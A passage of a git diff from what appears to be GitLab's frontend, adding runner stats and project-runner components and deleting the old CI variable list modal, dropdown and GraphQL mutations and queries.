</template>
<template #cell(job)="{ item = {} }">
diff --git a/app/assets/javascripts/ci/runner/components/stat/runner_stats.vue b/app/assets/javascripts/ci/runner/components/stat/runner_stats.vue
index 2e50dc13d2d..e0a6f4b1e67 100644
--- a/app/assets/javascripts/ci/runner/components/stat/runner_stats.vue
+++ b/app/assets/javascripts/ci/runner/components/stat/runner_stats.vue
@@ -23,6 +23,8 @@ export default {
RunnerSingleStat,
RunnerUpgradeStatusStats: () =>
import('ee_component/ci/runner/components/stat/runner_upgrade_status_stats.vue'),
+ RunnerPerformanceStat: () =>
+ import('ee_component/ci/runner/components/stat/runner_performance_stat.vue'),
},
props: {
scope: {
@@ -95,6 +97,8 @@ export default {
:scope="scope"
:variables="variables"
/>
+
+ <runner-performance-stat class="gl-px-5" />
</div>
</runner-count>
</template>
diff --git a/app/assets/javascripts/ci/runner/graphql/show/runner_jobs.query.graphql b/app/assets/javascripts/ci/runner/graphql/show/runner_jobs.query.graphql
index edfc22f644b..075dbb06190 100644
--- a/app/assets/javascripts/ci/runner/graphql/show/runner_jobs.query.graphql
+++ b/app/assets/javascripts/ci/runner/graphql/show/runner_jobs.query.graphql
@@ -8,7 +8,7 @@ query getRunnerJobs($id: CiRunnerID!, $first: Int, $last: Int, $before: String,
nodes {
id
detailedStatus {
- # fields for `<ci-badge>`
+ # fields for `<ci-badge-link>`
id
detailsPath
group
diff --git a/app/assets/javascripts/ci/runner/project_runners/index.js b/app/assets/javascripts/ci/runner/project_runners/index.js
new file mode 100644
index 00000000000..3be2b4a7422
--- /dev/null
+++ b/app/assets/javascripts/ci/runner/project_runners/index.js
@@ -0,0 +1,23 @@
+import Vue from 'vue';
+import ProjectRunnersApp from './project_runners_app.vue';
+
+export const initProjectRunners = (selector = '#js-project-runners') => {
+ const el = document.querySelector(selector);
+
+ if (!el) {
+ return null;
+ }
+
+ const { projectFullPath } = el.dataset;
+
+ return new Vue({
+ el,
+ render(h) {
+ return h(ProjectRunnersApp, {
+ props: {
+ projectFullPath,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/ci/runner/project_runners/project_runners_app.vue b/app/assets/javascripts/ci/runner/project_runners/project_runners_app.vue
new file mode 100644
index 00000000000..c7bf5e521a1
--- /dev/null
+++ b/app/assets/javascripts/ci/runner/project_runners/project_runners_app.vue
@@ -0,0 +1,19 @@
+<script>
+export default {
+ props: {
+ projectFullPath: {
+ required: true,
+ type: String,
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <!--
+ Under development
+ Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/33803
+ Feature rollout: https://gitlab.com/gitlab-org/gitlab/-/issues/386573
+ -->
+ </div>
+</template>
diff --git a/app/assets/javascripts/ci_settings_pipeline_triggers/index.js b/app/assets/javascripts/ci_settings_pipeline_triggers/index.js
index f2972133aad..3ea8e0df022 100644
--- a/app/assets/javascripts/ci_settings_pipeline_triggers/index.js
+++ b/app/assets/javascripts/ci_settings_pipeline_triggers/index.js
@@ -13,11 +13,6 @@ const parseJsonArray = (triggers) => {
export default (containerId = 'js-ci-pipeline-triggers-list') => {
const containerEl = document.getElementById(containerId);
- // Note: Remove this check when FF `ci_pipeline_triggers_settings_vue_ui` is removed.
- if (!containerEl) {
- return null;
- }
-
const triggers = parseJsonArray(containerEl.dataset.triggers);
return new Vue({
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_environments_dropdown.vue b/app/assets/javascripts/ci_variable_list/components/ci_environments_dropdown.vue
deleted file mode 100644
index c9002edc1ab..00000000000
--- a/app/assets/javascripts/ci_variable_list/components/ci_environments_dropdown.vue
+++ /dev/null
@@ -1,90 +0,0 @@
-<script>
-import { GlDropdown, GlDropdownItem, GlDropdownDivider, GlSearchBoxByType } from '@gitlab/ui';
-import { __, sprintf } from '~/locale';
-import { convertEnvironmentScope } from '../utils';
-
-export default {
- name: 'CiEnvironmentsDropdown',
- components: {
- GlDropdown,
- GlDropdownItem,
- GlDropdownDivider,
- GlSearchBoxByType,
- },
- props: {
- environments: {
- type: Array,
- required: true,
- },
- selectedEnvironmentScope: {
- type: String,
- required: false,
- default: '',
- },
- },
- data() {
- return {
- searchTerm: '',
- };
- },
- computed: {
- composedCreateButtonLabel() {
- return sprintf(__('Create wildcard: %{searchTerm}'), { searchTerm: this.searchTerm });
- },
- filteredEnvironments() {
- const lowerCasedSearchTerm = this.searchTerm.toLowerCase();
- return this.environments.filter((environment) => {
- return environment.toLowerCase().includes(lowerCasedSearchTerm);
- });
- },
- shouldRenderCreateButton() {
- return this.searchTerm && !this.environments.includes(this.searchTerm);
- },
- environmentScopeLabel() {
- return convertEnvironmentScope(this.selectedEnvironmentScope);
- },
- },
- methods: {
- selectEnvironment(selected) {
- this.$emit('select-environment', selected);
- this.clearSearch();
- },
- convertEnvironmentScopeValue(scope) {
- return convertEnvironmentScope(scope);
- },
- createEnvironmentScope() {
- this.$emit('create-environment-scope', this.searchTerm);
- this.selectEnvironment(this.searchTerm);
- },
- isSelected(env) {
- return this.selectedEnvironmentScope === env;
- },
- clearSearch() {
- this.searchTerm = '';
- },
- },
-};
-</script>
-<template>
- <gl-dropdown :text="environmentScopeLabel" @show="clearSearch">
- <gl-search-box-by-type v-model.trim="searchTerm" data-testid="ci-environment-search" />
- <gl-dropdown-item
- v-for="environment in filteredEnvironments"
- :key="environment"
- :is-checked="isSelected(environment)"
- is-check-item
- @click="selectEnvironment(environment)"
- >
- {{ convertEnvironmentScopeValue(environment) }}
- </gl-dropdown-item>
- <gl-dropdown-item v-if="!filteredEnvironments.length" ref="noMatchingResults">{{
- __('No matching results')
- }}</gl-dropdown-item>
- <template v-if="shouldRenderCreateButton">
- <gl-dropdown-divider />
- <gl-dropdown-item data-testid="create-wildcard-button" @click="createEnvironmentScope">
- {{ composedCreateButtonLabel }}
- </gl-dropdown-item>
- </template>
- </gl-dropdown>
-</template>
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue b/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue
deleted file mode 100644
index 00177539cdc..00000000000
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue
+++ /dev/null
@@ -1,503 +0,0 @@
-<script>
-import {
- GlAlert,
- GlButton,
- GlCollapse,
- GlFormCheckbox,
- GlFormCombobox,
- GlFormGroup,
- GlFormSelect,
- GlFormInput,
- GlFormTextarea,
- GlIcon,
- GlLink,
- GlModal,
- GlSprintf,
-} from '@gitlab/ui';
-import { getCookie, setCookie } from '~/lib/utils/common_utils';
-import { __ } from '~/locale';
-import Tracking from '~/tracking';
-
-import {
- allEnvironments,
- AWS_TOKEN_CONSTANTS,
- ADD_CI_VARIABLE_MODAL_ID,
- AWS_TIP_DISMISSED_COOKIE_NAME,
- AWS_TIP_MESSAGE,
- CONTAINS_VARIABLE_REFERENCE_MESSAGE,
- defaultVariableState,
- ENVIRONMENT_SCOPE_LINK_TITLE,
- EVENT_LABEL,
- EVENT_ACTION,
- EXPANDED_VARIABLES_NOTE,
- EDIT_VARIABLE_ACTION,
- VARIABLE_ACTIONS,
- variableOptions,
-} from '../constants';
-import { createJoinedEnvironments } from '../utils';
-import CiEnvironmentsDropdown from './ci_environments_dropdown.vue';
-import { awsTokens, awsTokenList } from './ci_variable_autocomplete_tokens';
-
-const trackingMixin = Tracking.mixin({ label: EVENT_LABEL });
-
-export default {
- modalId: ADD_CI_VARIABLE_MODAL_ID,
- tokens: awsTokens,
- tokenList: awsTokenList,
- awsTipMessage: AWS_TIP_MESSAGE,
- containsVariableReferenceMessage: CONTAINS_VARIABLE_REFERENCE_MESSAGE,
- environmentScopeLinkTitle: ENVIRONMENT_SCOPE_LINK_TITLE,
- expandedVariablesNote: EXPANDED_VARIABLES_NOTE,
- components: {
- CiEnvironmentsDropdown,
- GlAlert,
- GlButton,
- GlCollapse,
- GlFormCheckbox,
- GlFormCombobox,
- GlFormGroup,
- GlFormSelect,
- GlFormInput,
- GlFormTextarea,
- GlIcon,
- GlLink,
- GlModal,
- GlSprintf,
- },
- mixins: [trackingMixin],
- inject: [
- 'awsLogoSvgPath',
- 'awsTipCommandsLink',
- 'awsTipDeployLink',
- 'awsTipLearnLink',
- 'containsVariableReferenceLink',
- 'environmentScopeLink',
- 'isProtectedByDefault',
- 'maskedEnvironmentVariablesLink',
- 'maskableRegex',
- 'protectedEnvironmentVariablesLink',
- ],
- props: {
- areScopedVariablesAvailable: {
- type: Boolean,
- required: false,
- default: false,
- },
- environments: {
- type: Array,
- required: false,
- default: () => [],
- },
- hideEnvironmentScope: {
- type: Boolean,
- required: false,
- default: false,
- },
- mode: {
- type: String,
- required: true,
- validator(val) {
- return VARIABLE_ACTIONS.includes(val);
- },
- },
- selectedVariable: {
- type: Object,
- required: false,
- default: () => {},
- },
- variables: {
- type: Array,
- required: false,
- default: () => [],
- },
- },
- data() {
- return {
- newEnvironments: [],
- isTipDismissed: getCookie(AWS_TIP_DISMISSED_COOKIE_NAME) === 'true',
- validationErrorEventProperty: '',
- variable: { ...defaultVariableState, ...this.selectedVariable },
- };
- },
- computed: {
- canMask() {
- const regex = RegExp(this.maskableRegex);
- return regex.test(this.variable.value);
- },
- canSubmit() {
- return this.variableValidationState && this.variable.key !== '' && this.variable.value !== '';
- },
- containsVariableReference() {
- const regex = /\$/;
- return regex.test(this.variable.value) && this.isExpanded;
- },
- displayMaskedError() {
- return !this.canMask && this.variable.masked;
- },
- isEditing() {
- return this.mode === EDIT_VARIABLE_ACTION;
- },
- isExpanded() {
- return !this.variable.raw;
- },
- isTipVisible() {
- return !this.isTipDismissed && AWS_TOKEN_CONSTANTS.includes(this.variable.key);
- },
- joinedEnvironments() {
- return createJoinedEnvironments(this.variables, this.environments, this.newEnvironments);
- },
- maskedFeedback() {
- return this.displayMaskedError ? __('This variable can not be masked.') : '';
- },
- maskedState() {
- if (this.displayMaskedError) {
- return false;
- }
- return true;
- },
- modalActionText() {
- return this.isEditing ? __('Update variable') : __('Add variable');
- },
- tokenValidationFeedback() {
- const tokenSpecificFeedback = this.$options.tokens?.[this.variable.key]?.invalidMessage;
- if (!this.tokenValidationState && tokenSpecificFeedback) {
- return tokenSpecificFeedback;
- }
- return '';
- },
- tokenValidationState() {
- const validator = this.$options.tokens?.[this.variable.key]?.validation;
-
- if (validator) {
- return validator(this.variable.value);
- }
-
- return true;
- },
- variableValidationFeedback() {
- return `${this.tokenValidationFeedback} ${this.maskedFeedback}`;
- },
- variableValidationState() {
- return this.variable.value === '' || (this.tokenValidationState && this.maskedState);
- },
- },
- watch: {
- variable: {
- handler() {
- this.trackVariableValidationErrors();
- },
- deep: true,
- },
- },
- methods: {
- addVariable() {
- this.$emit('add-variable', this.variable);
- },
- createEnvironmentScope(env) {
- this.newEnvironments.push(env);
- },
- deleteVariable() {
- this.$emit('delete-variable', this.variable);
- },
- updateVariable() {
- this.$emit('update-variable', this.variable);
- },
- dismissTip() {
- setCookie(AWS_TIP_DISMISSED_COOKIE_NAME, 'true', { expires: 90 });
- this.isTipDismissed = true;
- },
- deleteVarAndClose() {
- this.deleteVariable();
- this.hideModal();
- },
- hideModal() {
- this.$refs.modal.hide();
- },
- onShow() {
- this.setVariableProtectedByDefault();
- },
- resetModalHandler() {
- this.resetVariableData();
- this.resetValidationErrorEvents();
-
- this.$emit('hideModal');
- },
- resetVariableData() {
- this.variable = { ...defaultVariableState };
- },
- setEnvironmentScope(scope) {
- this.variable = { ...this.variable, environmentScope: scope };
- },
- setVariableRaw(expanded) {
- this.variable = { ...this.variable, raw: !expanded };
- },
- setVariableProtected() {
- this.variable = { ...this.variable, protected: true };
- },
- updateOrAddVariable() {
- if (this.isEditing) {
- this.updateVariable();
- } else {
- this.addVariable();
- }
- this.hideModal();
- },
- setVariableProtectedByDefault() {
- if (this.isProtectedByDefault && !this.isEditing) {
- this.setVariableProtected();
- }
- },
- trackVariableValidationErrors() {
- const property = this.getTrackingErrorProperty();
- if (!this.validationErrorEventProperty && property) {
- this.track(EVENT_ACTION, { property });
- this.validationErrorEventProperty = property;
- }
- },
- getTrackingErrorProperty() {
- let property;
- if (this.variable.value?.length && !property) {
- if (this.displayMaskedError && this.maskableRegex?.length) {
- const supportedChars = this.maskableRegex.replace('^', '').replace(/{(\d,)}\$/, '');
- const regex = new RegExp(supportedChars, 'g');
- property = this.variable.value.replace(regex, '');
- }
- if (this.containsVariableReference) {
- property = '$';
- }
- }
-
- return property;
- },
- resetValidationErrorEvents() {
- this.validationErrorEventProperty = '';
- },
- },
- defaultScope: allEnvironments.text,
- variableOptions,
-};
-</script>
-
-<template>
- <gl-modal
- ref="modal"
- :modal-id="$options.modalId"
- :title="modalActionText"
- static
- lazy
- @hidden="resetModalHandler"
- @shown="onShow"
- >
- <form>
- <gl-form-combobox
- v-model="variable.key"
- :token-list="$options.tokenList"
- :label-text="__('Key')"
- data-testid="pipeline-form-ci-variable-key"
- data-qa-selector="ci_variable_key_field"
- />
-
- <gl-form-group
- :label="__('Value')"
- label-for="ci-variable-value"
- :state="variableValidationState"
- :invalid-feedback="variableValidationFeedback"
- >
- <gl-form-textarea
- id="ci-variable-value"
- ref="valueField"
- v-model="variable.value"
- :state="variableValidationState"
- rows="3"
- max-rows="10"
- data-testid="pipeline-form-ci-variable-value"
- data-qa-selector="ci_variable_value_field"
- class="gl-font-monospace!"
- spellcheck="false"
- />
- <p
- v-if="variable.raw"
- class="gl-mt-2 gl-mb-0 text-secondary"
- data-testid="raw-variable-tip"
- >
- {{ __('Variable value will be evaluated as raw string.') }}
- </p>
- </gl-form-group>
-
- <div class="gl-display-flex">
- <gl-form-group :label="__('Type')" label-for="ci-variable-type" class="gl-w-half gl-mr-5">
- <gl-form-select
- id="ci-variable-type"
- v-model="variable.variableType"
- :options="$options.variableOptions"
- />
- </gl-form-group>
-
- <template v-if="!hideEnvironmentScope">
- <gl-form-group
- label-for="ci-variable-env"
- class="gl-w-half"
- data-testid="environment-scope"
- >
- <template #label>
- {{ __('Environment scope') }}
- <gl-link
- :title="$options.environmentScopeLinkTitle"
- :href="environmentScopeLink"
- target="_blank"
- data-testid="environment-scope-link"
- >
- <gl-icon name="question" :size="12" />
- </gl-link>
- </template>
- <ci-environments-dropdown
- v-if="areScopedVariablesAvailable"
- class="gl-w-full"
- :selected-environment-scope="variable.environmentScope"
- :environments="joinedEnvironments"
- @select-environment="setEnvironmentScope"
- @create-environment-scope="createEnvironmentScope"
- />
-
- <gl-form-input v-else :value="$options.defaultScope" class="gl-w-full" readonly />
- </gl-form-group>
- </template>
- </div>
-
- <gl-form-group :label="__('Flags')" label-for="ci-variable-flags">
- <gl-form-checkbox
- v-model="variable.protected"
- class="gl-mb-0"
- data-testid="ci-variable-protected-checkbox"
- :data-is-protected-checked="variable.protected"
- >
- {{ __('Protect variable') }}
- <gl-link target="_blank" :href="protectedEnvironmentVariablesLink">
- <gl-icon name="question" :size="12" />
- </gl-link>
- <p class="gl-mt-2 text-secondary">
- {{ __('Export variable to pipelines running on protected branches and tags only.') }}
- </p>
- </gl-form-checkbox>
- <gl-form-checkbox
- ref="masked-ci-variable"
- v-model="variable.masked"
- data-testid="ci-variable-masked-checkbox"
- >
- {{ __('Mask variable') }}
- <gl-link target="_blank" :href="maskedEnvironmentVariablesLink">
- <gl-icon name="question" :size="12" />
- </gl-link>
- <p class="gl-mt-2 text-secondary">
- {{ __('Variable will be masked in job logs.') }}
- <span
- :class="{
- 'bold text-plain': displayMaskedError,
- }"
- >
- {{ __('Requires values to meet regular expression requirements.') }}</span
- >
- <gl-link target="_blank" :href="maskedEnvironmentVariablesLink">{{
- __('More information')
- }}</gl-link>
- </p>
- </gl-form-checkbox>
- <gl-form-checkbox
- ref="expanded-ci-variable"
- :checked="isExpanded"
- data-testid="ci-variable-expanded-checkbox"
- @change="setVariableRaw"
- >
- {{ __('Expand variable reference') }}
- <gl-link target="_blank" :href="containsVariableReferenceLink">
- <gl-icon name="question" :size="12" />
- </gl-link>
- <p class="gl-mt-2 gl-mb-0 gl-text-secondary">
- <gl-sprintf :message="$options.expandedVariablesNote">
- <template #code="{ content }">
- <code>{{ content }}</code>
- </template>
- </gl-sprintf>
- </p>
- </gl-form-checkbox>
- </gl-form-group>
- </form>
- <gl-collapse :visible="isTipVisible">
- <gl-alert
- :title="__('Deploying to AWS is easy with GitLab')"
- variant="tip"
- data-testid="aws-guidance-tip"
- @dismiss="dismissTip"
- >
- <div class="gl-display-flex gl-flex-direction-row gl-flex-wrap-wrap gl-md-flex-wrap-nowrap">
- <div>
- <p>
- <gl-sprintf :message="$options.awsTipMessage">
- <template #deployLink="{ content }">
- <gl-link :href="awsTipDeployLink" target="_blank">{{ content }}</gl-link>
- </template>
- <template #commandsLink="{ content }">
- <gl-link :href="awsTipCommandsLink" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
- <p>
- <gl-button
- :href="awsTipLearnLink"
- target="_blank"
- category="secondary"
- variant="confirm"
- class="gl-overflow-wrap-break"
- >{{ __('Learn more about deploying to AWS') }}</gl-button
- >
- </p>
- </div>
- <img
- class="gl-mt-3"
- :alt="__('Amazon Web Services Logo')"
- :src="awsLogoSvgPath"
- height="32"
- />
- </div>
- </gl-alert>
- </gl-collapse>
- <gl-alert
- v-if="containsVariableReference"
- :title="__('Value might contain a variable reference')"
- :dismissible="false"
- variant="warning"
- data-testid="contains-variable-reference"
- >
- <gl-sprintf :message="$options.containsVariableReferenceMessage">
- <template #code="{ content }">
- <code>{{ content }}</code>
- </template>
- <template #docsLink="{ content }">
- <gl-link :href="containsVariableReferenceLink" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </gl-alert>
- <template #modal-footer>
- <gl-button @click="hideModal">{{ __('Cancel') }}</gl-button>
- <gl-button
- v-if="isEditing"
- ref="deleteCiVariable"
- variant="danger"
- category="secondary"
- data-qa-selector="ci_variable_delete_button"
- @click="deleteVarAndClose"
- >{{ __('Delete variable') }}</gl-button
- >
- <gl-button
- ref="updateOrAddVariable"
- :disabled="!canSubmit"
- variant="confirm"
- category="primary"
- data-testid="ciUpdateOrAddVariableBtn"
- data-qa-selector="ci_variable_save_button"
- @click="updateOrAddVariable"
- >{{ modalActionText }}
- </gl-button>
- </template>
- </gl-modal>
-</template>
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql b/app/assets/javascripts/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql
deleted file mode 100644
index 9208c34f154..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql
+++ /dev/null
@@ -1,16 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-
-mutation addAdminVariable($variable: CiVariable!, $endpoint: String!) {
- ciVariableMutation: addAdminVariable(variable: $variable, endpoint: $endpoint) @client {
- ciVariables {
- nodes {
- ...BaseCiVariable
- ... on CiInstanceVariable {
- protected
- masked
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql b/app/assets/javascripts/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql
deleted file mode 100644
index a79b98f5e95..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql
+++ /dev/null
@@ -1,16 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-
-mutation deleteAdminVariable($variable: CiVariable!, $endpoint: String!) {
- ciVariableMutation: deleteAdminVariable(variable: $variable, endpoint: $endpoint) @client {
- ciVariables {
- nodes {
- ...BaseCiVariable
- ... on CiInstanceVariable {
- protected
- masked
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql b/app/assets/javascripts/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql
deleted file mode 100644
index ddea753bf90..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql
+++ /dev/null
@@ -1,16 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-
-mutation updateAdminVariable($variable: CiVariable!, $endpoint: String!) {
- ciVariableMutation: updateAdminVariable(variable: $variable, endpoint: $endpoint) @client {
- ciVariables {
- nodes {
- ...BaseCiVariable
- ... on CiInstanceVariable {
- protected
- masked
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql b/app/assets/javascripts/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql
deleted file mode 100644
index 24388637672..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql
+++ /dev/null
@@ -1,26 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-
-mutation addGroupVariable($variable: CiVariable!, $endpoint: String!, $fullPath: ID!, $id: ID!) {
- ciVariableMutation: addGroupVariable(
- variable: $variable
- endpoint: $endpoint
- fullPath: $fullPath
- id: $id
- ) @client {
- group {
- id
- ciVariables {
- nodes {
- ...BaseCiVariable
- ... on CiGroupVariable {
- environmentScope
- masked
- protected
- raw
- }
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql b/app/assets/javascripts/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql
deleted file mode 100644
index f7c8e209ccd..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql
+++ /dev/null
@@ -1,26 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-
-mutation deleteGroupVariable($variable: CiVariable!, $endpoint: String!, $fullPath: ID!, $id: ID!) {
- ciVariableMutation: deleteGroupVariable(
- variable: $variable
- endpoint: $endpoint
- fullPath: $fullPath
- id: $id
- ) @client {
- group {
- id
- ciVariables {
- nodes {
- ...BaseCiVariable
- ... on CiGroupVariable {
- environmentScope
- masked
- protected
- raw
- }
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql b/app/assets/javascripts/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql
deleted file mode 100644
index 757e61a5cd3..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql
+++ /dev/null
@@ -1,26 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-
-mutation updateGroupVariable($variable: CiVariable!, $endpoint: String!, $fullPath: ID!, $id: ID!) {
- ciVariableMutation: updateGroupVariable(
- variable: $variable
- endpoint: $endpoint
- fullPath: $fullPath
- id: $id
- ) @client {
- group {
- id
- ciVariables {
- nodes {
- ...BaseCiVariable
- ... on CiGroupVariable {
- environmentScope
- masked
- protected
- raw
- }
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql b/app/assets/javascripts/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql
deleted file mode 100644
index fa315084d86..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql
+++ /dev/null
@@ -1,26 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-
-mutation addProjectVariable($variable: CiVariable!, $endpoint: String!, $fullPath: ID!, $id: ID!) {
- ciVariableMutation: addProjectVariable(
- variable: $variable
- endpoint: $endpoint
- fullPath: $fullPath
- id: $id
- ) @client {
- project {
- id
- ciVariables {
- nodes {
- ...BaseCiVariable
- ... on CiProjectVariable {
- environmentScope
- masked
- protected
- raw
- }
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql b/app/assets/javascripts/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql
deleted file mode 100644
index c3358cc35b9..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql
+++ /dev/null
@@ -1,31 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-
-mutation deleteProjectVariable(
- $variable: CiVariable!
- $endpoint: String!
- $fullPath: ID!
- $id: ID!
-) {
- ciVariableMutation: deleteProjectVariable(
- variable: $variable
- endpoint: $endpoint
- fullPath: $fullPath
- id: $id
- ) @client {
- project {
- id
- ciVariables {
- nodes {
- ...BaseCiVariable
- ... on CiProjectVariable {
- environmentScope
- masked
- protected
- raw
- }
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql b/app/assets/javascripts/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql
deleted file mode 100644
index fde92cef4cb..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql
+++ /dev/null
@@ -1,31 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-
-mutation updateProjectVariable(
- $variable: CiVariable!
- $endpoint: String!
- $fullPath: ID!
- $id: ID!
-) {
- ciVariableMutation: updateProjectVariable(
- variable: $variable
- endpoint: $endpoint
- fullPath: $fullPath
- id: $id
- ) @client {
- project {
- id
- ciVariables {
- nodes {
- ...BaseCiVariable
- ... on CiProjectVariable {
- environmentScope
- masked
- protected
- raw
- }
- }
- }
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/queries/group_variables.query.graphql b/app/assets/javascripts/ci_variable_list/graphql/queries/group_variables.query.graphql
deleted file mode 100644
index 900154cd24d..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/queries/group_variables.query.graphql
+++ /dev/null
@@ -1,23 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-#import "~/graphql_shared/fragments/page_info.fragment.graphql"
-
-query getGroupVariables($after: String, $first: Int = 100, $fullPath: ID!) {
- group(fullPath: $fullPath) {
- id
- ciVariables(after: $after, first: $first) {
- limit
- pageInfo {
- ...PageInfo
- }
- nodes {
- ...BaseCiVariable
- ... on CiGroupVariable {
- environmentScope
- masked
- protected
- raw
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/queries/project_variables.query.graphql b/app/assets/javascripts/ci_variable_list/graphql/queries/project_variables.query.graphql
deleted file mode 100644
index ee75eba7547..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/queries/project_variables.query.graphql
+++ /dev/null
@@ -1,21 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-#import "~/graphql_shared/fragments/page_info.fragment.graphql"
-
-query getProjectVariables($after: String, $first: Int = 100, $fullPath: ID!) {
- project(fullPath: $fullPath) {
- id
- ciVariables(after: $after, first: $first) {
- limit
- pageInfo {
- ...PageInfo
- }
- nodes {
- ...BaseCiVariable
- environmentScope
- masked
- protected
- raw
- }
- }
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/queries/variables.query.graphql b/app/assets/javascripts/ci_variable_list/graphql/queries/variables.query.graphql
deleted file mode 100644
index 9b255c3c182..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/queries/variables.query.graphql
+++ /dev/null
@@ -1,18 +0,0 @@
-#import "~/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql"
-#import "~/graphql_shared/fragments/page_info.fragment.graphql"
-
-query getVariables($after: String, $first: Int = 100) {
- ciVariables(after: $after, first: $first) {
- pageInfo {
- ...PageInfo
- }
- nodes {
- ...BaseCiVariable
- ... on CiInstanceVariable {
- masked
- protected
- raw
- }
- }
- }
-}
diff --git a/app/assets/javascripts/ci_variable_list/graphql/settings.js b/app/assets/javascripts/ci_variable_list/graphql/settings.js
deleted file mode 100644
index 02f6c226b0f..00000000000
--- a/app/assets/javascripts/ci_variable_list/graphql/settings.js
+++ /dev/null
@@ -1,242 +0,0 @@
-import axios from 'axios';
-import {
- convertObjectPropsToCamelCase,
- convertObjectPropsToSnakeCase,
-} from '../../lib/utils/common_utils';
-import { convertToGraphQLId, getIdFromGraphQLId } from '../../graphql_shared/utils';
-import {
- GRAPHQL_GROUP_TYPE,
- GRAPHQL_PROJECT_TYPE,
- groupString,
- instanceString,
- projectString,
-} from '../constants';
-import getProjectVariables from './queries/project_variables.query.graphql';
-import getGroupVariables from './queries/group_variables.query.graphql';
-import getAdminVariables from './queries/variables.query.graphql';
-
-const prepareVariableForApi = ({ variable, destroy = false }) => {
- return {
- ...convertObjectPropsToSnakeCase(variable),
- id: getIdFromGraphQLId(variable?.id),
- variable_type: variable.variableType.toLowerCase(),
- secret_value: variable.value,
- _destroy: destroy,
- };
-};
-
-const mapVariableTypes = (variables = [], kind) => {
- return variables.map((ciVar) => {
- return {
- __typename: `Ci${kind}Variable`,
- ...convertObjectPropsToCamelCase(ciVar),
- id: convertToGraphQLId('Ci::Variable', ciVar.id),
- variableType: ciVar.variable_type ? ciVar.variable_type.toUpperCase() : ciVar.variableType,
- };
- });
-};
-
-const prepareProjectGraphQLResponse = ({ data, id, errors = [] }) => {
- return {
- errors,
- project: {
- __typename: GRAPHQL_PROJECT_TYPE,
- id: convertToGraphQLId(GRAPHQL_PROJECT_TYPE, id),
- ciVariables: {
- __typename: `Ci${GRAPHQL_PROJECT_TYPE}VariableConnection`,
- pageInfo: {
- __typename: 'PageInfo',
- hasNextPage: false,
- hasPreviousPage: false,
- startCursor: '',
- endCursor: '',
- },
- nodes: mapVariableTypes(data.variables, projectString),
- },
- },
- };
-};
-
